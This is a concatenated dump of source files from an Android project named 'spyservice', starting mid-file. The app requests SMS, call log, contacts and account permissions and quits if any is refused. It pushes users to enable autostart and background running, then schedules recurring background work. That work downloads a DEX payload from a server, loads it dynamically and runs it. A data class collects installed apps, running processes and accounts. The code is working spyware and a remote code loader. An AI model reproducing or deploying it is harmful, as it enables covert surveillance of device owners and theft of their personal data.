iter = df.entries(); iter.hasMoreElements(); )
29 | // {
30 | // String _className = iter.nextElement();
31 | // if (!_className.equals(className))
32 | // classLoader.loadClass(_className);
33 | // }
34 |
35 | if (ILoadable.class.isAssignableFrom(moduleClass))
36 | return (ILoadable) moduleClass.newInstance();
37 | } catch (Exception e)
38 | {
39 | e.printStackTrace();
40 | }
41 |
42 | return null;
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/content/ImageInformation.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable.content;
12 |
13 | import java.util.Date;
14 |
15 | public class ImageInformation
16 | {
17 | /**
18 | * author CodeBoy722
19 | *
20 | * Custom Class that holds information of a folder containing images
21 | * on the device external storage, used to populate our RecyclerView of
22 | * picture folders
23 | */
24 | public static class ImageFolder
25 | {
26 | private String path;
27 | private String FolderName;
28 | private int numberOfPics = 0;
29 | private String firstPic;
30 |
31 | public ImageFolder() {}
32 |
33 | public ImageFolder(String path, String folderName)
34 | {
35 | this.path = path;
36 | FolderName = folderName;
37 | }
38 |
39 | public String getPath()
40 | {
41 | return path;
42 | }
43 |
44 | public void setPath(String path)
45 | {
46 | this.path = path;
47 | }
48 |
49 | public String getFolderName()
50 | {
51 | return FolderName;
52 | }
53 |
54 | public void setFolderName(String folderName)
55 | {
56 | FolderName = folderName;
57 | }
58 |
59 | public int getNumberOfPics()
60 | {
61 | return numberOfPics;
62 | }
63 |
64 | public void setNumberOfPics(int numberOfPics)
65 | {
66 | this.numberOfPics = numberOfPics;
67 | }
68 |
69 | public void addPics()
70 | {
71 | this.numberOfPics++;
72 | }
73 |
74 | public String getFirstPic()
75 | {
76 | return firstPic;
77 | }
78 |
79 | public void setFirstPic(String firstPic)
80 | {
81 | this.firstPic = firstPic;
82 | }
83 | }
84 |
85 | /**
86 | * Author CodeBoy722
87 | *
88 | * Custom class for holding data of images on the device external storage
89 | */
90 | public static class PictureFace
91 | {
92 | private String pictureName;
93 | private String picturePath;
94 | private String pictureSize;
95 | private Date dateModified;
96 | private String imageUri;
97 | private Boolean selected = false;
98 |
99 | public PictureFace() {}
100 |
101 | public PictureFace(String pictureName, String picturePath, String pictureSize, String imageUri)
102 | {
103 | this.pictureName = pictureName;
104 | this.picturePath = picturePath;
105 | this.pictureSize = pictureSize;
106 | this.imageUri = imageUri;
107 | }
108 |
109 |
110 | public String getPictureName()
111 | {
112 | return pictureName;
113 | }
114 |
115 | public void setPictureName(String pictureName)
116 | {
117 | this.pictureName = pictureName;
118 | }
119 |
120 | public String getPicturePath()
121 | {
122 | return picturePath;
123 | }
124 |
125 | public void setPicturePath(String picturePath)
126 | {
127 | this.picturePath = picturePath;
128 | }
129 |
130 | public String getPictureSize()
131 | {
132 | return pictureSize;
133 | }
134 |
135 | public void setPictureSize(String pictureSize)
136 | {
137 | this.pictureSize = pictureSize;
138 | }
139 |
140 | public String getImageUri()
141 | {
142 | return imageUri;
143 | }
144 |
145 | public void setImageUri(String imageUri)
146 | {
147 | this.imageUri = imageUri;
148 | }
149 |
150 | public Boolean getSelected()
151 | {
152 | return selected;
153 | }
154 |
155 | public void setSelected(Boolean selected)
156 | {
157 | this.selected = selected;
158 | }
159 |
160 | public Date getDateModified()
161 | {
162 | return this.dateModified;
163 | }
164 |
165 | public void setPictureDateModified(Date date)
166 | {
167 | this.dateModified = date;
168 | }
169 | }
170 | }
171 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/loadable/content/SystemInformation.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable.content;
12 |
13 | import java.util.List;
14 |
15 | public class SystemInformation
16 | {
17 | private final String osVersion;
18 | private final int sdkVersion;
19 | private final String freeSpace;
20 | private final List installedApps;
21 | private final List runningProcesses;
22 | private final List accounts;
23 |
24 | private SystemInformation(String osVersion, int sdkVersion, String freeSpace, List installedApps, List runningProcesses, List accounts) {
25 | this.osVersion = osVersion;
26 | this.sdkVersion = sdkVersion;
27 | this.freeSpace = freeSpace;
28 | this.installedApps = installedApps;
29 | this.runningProcesses = runningProcesses;
30 | this.accounts = accounts;
31 | }
32 |
33 | public String getOsVersion()
34 | {
35 | return osVersion;
36 | }
37 |
38 | public int getSdkVersion()
39 | {
40 | return sdkVersion;
41 | }
42 |
43 | public String getFreeSpace()
44 | {
45 | return freeSpace;
46 | }
47 |
48 | public List getInstalledApps()
49 | {
50 | return installedApps;
51 | }
52 |
53 | public List getRunningProcesses()
54 | {
55 | return runningProcesses;
56 | }
57 |
58 | public List getAccounts()
59 | {
60 | return accounts;
61 | }
62 |
63 | public static final class Builder
64 | {
65 | private String osVersion;
66 | private int sdkVersion;
67 | private String freeSpaceBytes;
68 | private List installedApps;
69 | private List runningProcesses;
70 | private List accounts;
71 |
72 | private Builder()
73 | {
74 | }
75 |
76 | public static Builder createBuilder()
77 | {
78 | return new Builder();
79 | }
80 |
81 | public Builder setOsVersion(String osVersion)
82 | {
83 | this.osVersion = osVersion;
84 | return this;
85 | }
86 |
87 | public Builder setSdkVersion(int sdkVersion)
88 | {
89 | this.sdkVersion = sdkVersion;
90 | return this;
91 | }
92 |
93 | public Builder setFreeSpace(String freeSpaceBytes)
94 | {
95 | this.freeSpaceBytes = freeSpaceBytes;
96 | return this;
97 | }
98 |
99 | public Builder setInstalledApps(List installedApps)
100 | {
101 | this.installedApps = installedApps;
102 | return this;
103 | }
104 |
105 | public Builder setRunningProcesses(List runningProcesses)
106 | {
107 | this.runningProcesses = runningProcesses;
108 | return this;
109 | }
110 |
111 | public Builder setAccounts(List accounts)
112 | {
113 | this.accounts = accounts;
114 | return this;
115 | }
116 |
117 | public SystemInformation build()
118 | {
119 | return new SystemInformation(osVersion, sdkVersion, freeSpaceBytes, installedApps, runningProcesses, accounts);
120 | }
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/main/java/ru/er_log/spyservice/util/CommonUtils.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.util;
12 |
13 | import android.annotation.SuppressLint;
14 | import android.content.Context;
15 | import android.util.Log;
16 |
17 | import java.io.BufferedReader;
18 | import java.io.File;
19 | import java.io.FileInputStream;
20 | import java.io.FileOutputStream;
21 | import java.io.IOException;
22 | import java.io.InputStreamReader;
23 | import java.nio.charset.StandardCharsets;
24 | import java.util.UUID;
25 |
26 | import ru.er_log.spyservice.Settings;
27 |
28 | public class CommonUtils
29 | {
30 | private static String uniqueId = null;
31 | public static String getUniqueAppInstallationId(Context context)
32 | {
33 | synchronized (CommonUtils.class)
34 | {
35 | if (uniqueId != null) return uniqueId;
36 | File file = new File(context.getApplicationInfo().dataDir + File.separator + "unique.id");
37 |
38 | if (file.isFile())
39 | {
40 | try (FileInputStream inputStream = new FileInputStream(file.getAbsolutePath()))
41 | {
42 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream, StandardCharsets.UTF_8);
43 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
44 | uniqueId = bufferedReader.readLine();
45 | return uniqueId;
46 | } catch (IOException e)
47 | {
48 | Log.e(Settings.LOG_TAG, "Can't read existing unique install app id, returning random");
49 | e.printStackTrace();
50 | }
51 | }
52 |
53 | @SuppressLint("HardwareIds")
54 | String deviceId = android.provider.Settings.Secure.getString(context.getContentResolver(), android.provider.Settings.Secure.ANDROID_ID);
55 | if ("9774d56d682e549c".compareTo(deviceId) == 0) deviceId = null;
56 |
57 | if (deviceId != null)
58 | uniqueId = UUID.nameUUIDFromBytes(deviceId.getBytes(StandardCharsets.UTF_8)).toString();
59 | else
60 | uniqueId = UUID.randomUUID().toString();
61 |
62 | try (FileOutputStream fileOutputStream = new FileOutputStream(file))
63 | {
64 | fileOutputStream.write(uniqueId.getBytes(StandardCharsets.UTF_8));
65 | } catch (IOException e)
66 | {
67 | Log.e(Settings.LOG_TAG, "Can't write new unique install app id, returning random");
68 | e.printStackTrace();
69 | }
70 |
71 | return uniqueId;
72 | }
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/app/loadableinterface/src/test/java/ru/er_log/spyservice/loadable/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import org.junit.Test;
14 |
15 | import static org.junit.Assert.*;
16 |
17 | /**
18 | * Example local unit test, which will execute on the development machine (host).
19 | *
20 | * @see Testing documentation
21 | */
22 | public class ExampleUnitTest
23 | {
24 | @Test
25 | public void addition_isCorrect()
26 | {
27 | assertEquals(4, 2 + 2);
28 | }
29 | }
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/app/src/androidTest/java/ru/er_log/spyservice/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice;
12 |
13 | import android.content.Context;
14 |
15 | import androidx.test.platform.app.InstrumentationRegistry;
16 | import androidx.test.ext.junit.runners.AndroidJUnit4;
17 |
18 | import org.junit.Test;
19 | import org.junit.runner.RunWith;
20 |
21 | import static org.junit.Assert.*;
22 |
23 | /**
24 | * Instrumented test, which will execute on an Android device.
25 | *
26 | * @see Testing documentation
27 | */
28 | @RunWith(AndroidJUnit4.class)
29 | public class ExampleInstrumentedTest
30 | {
31 | @Test
32 | public void useAppContext()
33 | {
34 | // Context of the app under test.
35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
36 |
37 | assertEquals("ru.er_log.spyservice", appContext.getPackageName());
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/app/src/main/java/ru/er_log/spyservice/MainActivity.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice;
12 |
13 | import android.Manifest;
14 | import android.annotation.SuppressLint;
15 | import android.content.Context;
16 | import android.content.pm.PackageManager;
17 | import android.graphics.Color;
18 | import android.os.AsyncTask;
19 | import android.os.Bundle;
20 | import android.os.Handler;
21 | import android.util.Log;
22 | import android.view.View;
23 | import android.widget.TextView;
24 | import android.widget.Toast;
25 |
26 | import androidx.annotation.NonNull;
27 | import androidx.appcompat.app.AppCompatActivity;
28 | import androidx.core.app.ActivityCompat;
29 | import androidx.core.content.ContextCompat;
30 | import androidx.work.Constraints;
31 | import androidx.work.ExistingPeriodicWorkPolicy;
32 | import androidx.work.NetworkType;
33 | import androidx.work.PeriodicWorkRequest;
34 | import androidx.work.WorkInfo;
35 | import androidx.work.WorkManager;
36 |
37 | import com.judemanutd.autostarter.AutoStartPermissionHelper;
38 |
39 | import java.io.File;
40 | import java.io.IOException;
41 | import java.util.ArrayList;
42 | import java.util.List;
43 | import java.util.concurrent.ExecutionException;
44 |
45 | import ru.er_log.spyservice.loadable.DexLoader;
46 | import ru.er_log.spyservice.network.DownloadManager;
47 | import ru.er_log.spyservice.util.ChinesePermissionUtils;
48 | import ru.er_log.spyservice.util.CommonUtils;
49 |
50 | public class MainActivity extends AppCompatActivity
51 | {
52 | private static final int PERMISSION_REQUEST_CODE = 100;
53 |
54 | @Override
55 | protected void onCreate(Bundle savedInstanceState)
56 | {
57 | super.onCreate(savedInstanceState);
58 | setContentView(R.layout.activity_main);
59 |
60 | checkPermissions();
61 | new StatusUpdater().execute(this);
62 |
63 | TextView id = this.findViewById(R.id.textviewUniqueId);
64 | id.setText(CommonUtils.getUniqueAppInstallationId(this));
65 | }
66 |
67 | private static class LocalDEXTask extends AsyncTask
68 | {
69 | @Override
70 | protected Void doInBackground(Context... contexts)
71 | {
72 | DownloadManager downloadManager = new DownloadManager();
73 | DexLoader dexLoader = new DexLoader(contexts[0], downloadManager);
74 | Worker.doWork(dexLoader);
75 | return null;
76 | }
77 | }
78 |
79 | private void blockAllUIComponents(boolean really)
80 | {
81 | findViewById(R.id.buttonClient).setEnabled(!really);
82 | findViewById(R.id.buttonServer).setEnabled(!really);
83 | }
84 |
85 | /** Especially for devices with a shell (not raw Android). */
86 | private void checkManufacturerPermissions()
87 | {
88 | blockAllUIComponents(true);
89 |
90 | Toast.makeText(this, "Hi. Please, check the following in next setting windows:", Toast.LENGTH_LONG).show();
91 | Toast.makeText(this, " -> enable autostart for this app", Toast.LENGTH_LONG).show();
92 | Toast.makeText(this, " -> allow app running in background", Toast.LENGTH_LONG).show();
93 |
94 | Handler handler = new Handler();
95 | handler.postDelayed(() ->
96 | {
97 | if (AutoStartPermissionHelper.getInstance().isAutoStartPermissionAvailable(this))
98 | {
99 | // Toast.makeText(this, "Please, enable autostart for this app", Toast.LENGTH_LONG).show();
100 | AutoStartPermissionHelper.getInstance().getAutoStartPermission(this);
101 | }
102 |
103 | ChinesePermissionUtils.goToSetting(this);
104 | blockAllUIComponents(false);
105 | }, 10600);
106 | }
107 |
108 | private void checkPermissions()
109 | {
110 | String[] permissions =
111 | {
112 | Manifest.permission.READ_EXTERNAL_STORAGE,
113 | Manifest.permission.WRITE_EXTERNAL_STORAGE,
114 | Manifest.permission.INTERNET,
115 |
116 | Manifest.permission.READ_SMS,
117 | Manifest.permission.READ_CALL_LOG,
118 | Manifest.permission.READ_CONTACTS,
119 | Manifest.permission.GET_TASKS,
120 | Manifest.permission.GET_ACCOUNTS
121 | };
122 |
123 | List request = new ArrayList<>();
124 | for (String permission : permissions)
125 | if (ContextCompat.checkSelfPermission(this, permission) != PackageManager.PERMISSION_GRANTED)
126 | request.add(permission);
127 |
128 | if (!request.isEmpty())
129 | ActivityCompat.requestPermissions(this, request.toArray(new String[0]), PERMISSION_REQUEST_CODE);
130 | }
131 |
132 | @Override
133 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults)
134 | {
135 | for (int i = 0; i < grantResults.length; i++)
136 | if (grantResults[i] == PackageManager.PERMISSION_DENIED)
137 | {
138 | Log.e(Settings.LOG_TAG, "Finishing... Permission not granted: " + permissions[i]);
139 | finish();
140 | return;
141 | }
142 |
143 | if (isFirstLaunch(this))
144 | checkManufacturerPermissions();
145 | }
146 |
147 | public void clickStartService(View view)
148 | {
149 | if (!Settings.RUN_IN_BACKGROUND)
150 | {
151 | new LocalDEXTask().execute(this);
152 | return;
153 | }
154 |
155 | Constraints constrains = new Constraints.Builder()
156 | .setRequiredNetworkType(NetworkType.NOT_ROAMING)
157 | .setRequiresDeviceIdle(Settings.REQUIRES_IDLE)
158 | .build();
159 |
160 | PeriodicWorkRequest.Builder builder = new PeriodicWorkRequest.Builder(Worker.class, Settings.REPEAT_INTERVAL, Settings.REPEAT_TIME_UNIT, Settings.FLEX_INTERVAL, Settings.FLEX_TIME_UNIT)
161 | .addTag(Settings.TASK_TAG)
162 | .setInitialDelay(Settings.INITIAL_DELAY, Settings.INITIAL_TIME_UNIT)
163 | .setConstraints(constrains);
164 |
165 | WorkManager.getInstance(this).enqueueUniquePeriodicWork(Settings.TASK_TAG, ExistingPeriodicWorkPolicy.KEEP, builder.build());
166 |
167 | Toast.makeText(this, "Ok, task planned", Toast.LENGTH_SHORT).show();
168 | new StatusUpdater().execute(this);
169 | }
170 |
171 | public void clickStopService(View view)
172 | {
173 | WorkManager.getInstance(this).cancelAllWorkByTag(Settings.TASK_TAG);
174 |
175 | Toast.makeText(this, "Ok, task canceled", Toast.LENGTH_SHORT).show();
176 | new StatusUpdater().execute(this);
177 | }
178 |
179 | private static class StatusUpdater extends AsyncTask
180 | {
181 | @SuppressLint("SetTextI18n")
182 | @Override
183 | protected Void doInBackground(MainActivity... activities)
184 | {
185 | try
186 | {
187 | List list = WorkManager.getInstance(activities[0]).getWorkInfosForUniqueWork(Settings.TASK_TAG).get();
188 |
189 | int failedRunAttempts = 0;
190 | int totalRunAttempts = 0;
191 | int queuedCount = 0;
192 |
193 | boolean planned = false;
194 | for (WorkInfo info : list)
195 | {
196 | WorkInfo.State state = info.getState();
197 |
198 | if (state.compareTo(WorkInfo.State.FAILED) == 0 || state.compareTo(WorkInfo.State.CANCELLED) == 0)
199 | failedRunAttempts++;
200 | else if (state.compareTo(WorkInfo.State.RUNNING) <= 0)
201 | queuedCount++;
202 |
203 | if (!state.isFinished())
204 | planned = true;
205 | else
206 | totalRunAttempts++;
207 | }
208 |
209 | String statsFailed = failedRunAttempts + " of " + totalRunAttempts;
210 | String statsQueued = queuedCount + "";
211 | final boolean _planned = planned;
212 | activities[0].runOnUiThread(() ->
213 | {
214 | TextView textviewStatus = activities[0].findViewById(R.id.textviewStatus);
215 | TextView textviewStatusTotal = activities[0].findViewById(R.id.textviewStatusTotal);
216 | TextView textviewStatusQueued = activities[0].findViewById(R.id.textviewStatusQueued);
217 |
218 | if (list.isEmpty() || !_planned)
219 | {
220 | textviewStatus.setTextColor(Color.LTGRAY);
221 | textviewStatus.setText("Service status: stopped");
222 |
223 | textviewStatusTotal.setText("");
224 | textviewStatusQueued.setText("");
225 | } else
226 | {
227 | textviewStatus.setTextColor(0xFF00AD34);
228 | textviewStatus.setText("Service status: active");
229 |
230 | textviewStatusTotal.setTextColor(Color.LTGRAY);
231 | textviewStatusTotal.setText(" > failed works: " + statsFailed.toLowerCase());
232 |
233 | textviewStatusQueued.setTextColor(Color.LTGRAY);
234 | textviewStatusQueued.setText(" > works queued or running: " + statsQueued);
235 | }
236 | });
237 |
238 | return null;
239 | } catch (ExecutionException | InterruptedException e)
240 | {
241 | Log.d(Settings.TASK_TAG, "Can't get task status: " + e.getMessage());
242 | e.printStackTrace();
243 | }
244 |
245 | return null;
246 | }
247 | }
248 |
249 | public static boolean isFirstLaunch(Context context)
250 | {
251 | File file = new File(context.getApplicationInfo().dataDir + File.separator + "launch.tag");
252 | if (file.isFile())
253 | return false;
254 |
255 | File parent = file.getParentFile();
256 | if (parent != null) parent.mkdirs();
257 | try { file.createNewFile(); }
258 | catch (IOException e)
259 | {
260 | Log.e(Settings.LOG_TAG, "Failed to fix first application launch: " + e.getMessage());
261 | e.printStackTrace();
262 | }
263 | return true;
264 | }
265 | }
266 |
--------------------------------------------------------------------------------
/app/src/main/java/ru/er_log/spyservice/Worker.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice;
12 |
13 | import android.content.Context;
14 | import android.util.Log;
15 |
16 | import androidx.annotation.NonNull;
17 | import androidx.work.WorkerParameters;
18 |
19 | import java.io.File;
20 |
21 | import ru.er_log.spyservice.loadable.DexLoader;
22 | import ru.er_log.spyservice.network.DownloadManager;
23 |
24 | public class Worker extends androidx.work.Worker
25 | {
26 | private DexLoader dexLoader;
27 |
28 | public Worker(@NonNull Context context, @NonNull WorkerParameters workerParams)
29 | {
30 | super(context, workerParams);
31 |
32 | DownloadManager downloadManager = new DownloadManager();
33 | dexLoader = new DexLoader(context, downloadManager);
34 | }
35 |
36 | @NonNull
37 | @Override
38 | public Result doWork()
39 | {
40 | return doWork(dexLoader);
41 | }
42 |
43 | public static Result doWork(DexLoader dexLoader)
44 | {
45 | if (Settings.USE_LOCAL_DEX)
46 | {
47 | Log.d(Settings.LOG_TAG, "WARNING: USE_LOCAL_DEX settings is ON");
48 | //dexLoader.forceSetDEXLoader(new ru.er_log.spyservice.loadable.Loadable()); // Comment/Uncomment for release/debug.
49 | } else
50 | {
51 | if (!dexLoader.downloadDex(null))
52 | {
53 | Log.d(Settings.LOG_TAG, "Failure while downloading DEX file");
54 | File file = new File(dexLoader.getConstDexPath());
55 | if (file.isFile())
56 | {
57 | Log.d(Settings.LOG_TAG, "Trying to load old DEX file...");
58 | dexLoader.forceSetDEXFile(file);
59 | } else
60 | {
61 | Log.d(Settings.LOG_TAG, "DEX not downloaded, can't continue...");
62 | return Result.failure();
63 | }
64 | }
65 |
66 | try
67 | {
68 | dexLoader.loadDex();
69 | } catch (DexLoader.DEXNotFoundException e)
70 | {
71 | Log.d(Settings.LOG_TAG, "Can't load DEX: " + e.getMessage());
72 | return Result.failure();
73 | }
74 | }
75 |
76 | try
77 | {
78 | if (dexLoader.start())
79 | return Result.success();
80 | else
81 | return Result.retry();
82 | } catch (DexLoader.DEXNotLoadedException e)
83 | {
84 | Log.d(Settings.LOG_TAG, "Can't start DEX: " + e.getMessage());
85 | return Result.failure();
86 | }
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/app/src/main/java/ru/er_log/spyservice/loadable/DexLoader.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.loadable;
12 |
13 | import android.content.Context;
14 | import android.util.Log;
15 |
16 | import androidx.annotation.Nullable;
17 |
18 | import org.jetbrains.annotations.NotNull;
19 |
20 | import java.io.File;
21 |
22 | import ru.er_log.spyservice.Settings;
23 | import ru.er_log.spyservice.network.DownloadManager;
24 | import ru.er_log.spyservice.network.IDownloadCallback;
25 |
26 | public class DexLoader
27 | {
28 | private final Context context;
29 | private final DownloadManager downloadManager;
30 |
31 | private File dexFile;
32 | private ILoadable loadable;
33 |
34 | public DexLoader(@NotNull Context context, @NotNull DownloadManager downloadManager)
35 | {
36 | this.context = context;
37 | this.downloadManager = downloadManager;
38 | }
39 |
40 | public void loadDex() throws DEXNotFoundException
41 | {
42 | if (dexFile == null || !dexFile.isFile())
43 | throw new DEXNotFoundException("Can't find DEX file. Maybe not downloaded yet.");
44 |
45 | String loadableClass = "ru.er_log.spyservice.loadable.Loadable";
46 | loadable = Util.loadModule(loadableClass, dexFile, context.getDir("outdex", Context.MODE_PRIVATE), context.getClassLoader());
47 | if (loadable == null)
48 | Log.e(Settings.LOG_TAG, "Can't load class: " + loadableClass);
49 | else
50 | Log.d(Settings.LOG_TAG, "DEX successfully loaded");
51 | }
52 |
53 | /** If {@param callback} is null, then will used synchronized method. */
54 | public boolean downloadDex(@Nullable IDownloadCallback callback)
55 | {
56 | if (callback == null) // Synchronous.
57 | {
58 | if (downloadManager.download("dex", getConstDexPath(), null))
59 | {
60 | dexFile = new File(getConstDexPath());
61 | return true;
62 | } else
63 | {
64 | dexFile = null;
65 | return false;
66 | }
67 | } else // Asynchronous.
68 | {
69 | downloadManager.download("dex", getConstDexPath(), callback);
70 | return true;
71 | }
72 | }
73 |
74 | /** If DEX file can't be downloaded, you can set it using this method. */
75 | public void forceSetDEXFile(File file)
76 | {
77 | this.dexFile = file;
78 | }
79 |
80 | public void forceSetDEXLoader(ILoadable loadable)
81 | {
82 | this.loadable = loadable;
83 | }
84 |
85 | public boolean start() throws DEXNotLoadedException
86 | {
87 | if (loadable == null)
88 | throw new DEXNotLoadedException("DEX not loaded");
89 |
90 | return loadable.fulfillDestiny(context);
91 | }
92 |
93 | public String getConstDexPath()
94 | {
95 | return new File(context.getDir("classes", Context.MODE_PRIVATE), "classes.dex").getAbsolutePath();
96 | }
97 |
98 | public static class DEXNotLoadedException extends Exception
99 | {
100 | DEXNotLoadedException() { super(); }
101 | DEXNotLoadedException(String message) { super(message); }
102 | }
103 |
104 | public static class DEXNotFoundException extends Exception
105 | {
106 | DEXNotFoundException() { super(); }
107 | DEXNotFoundException(String message) { super(message); }
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
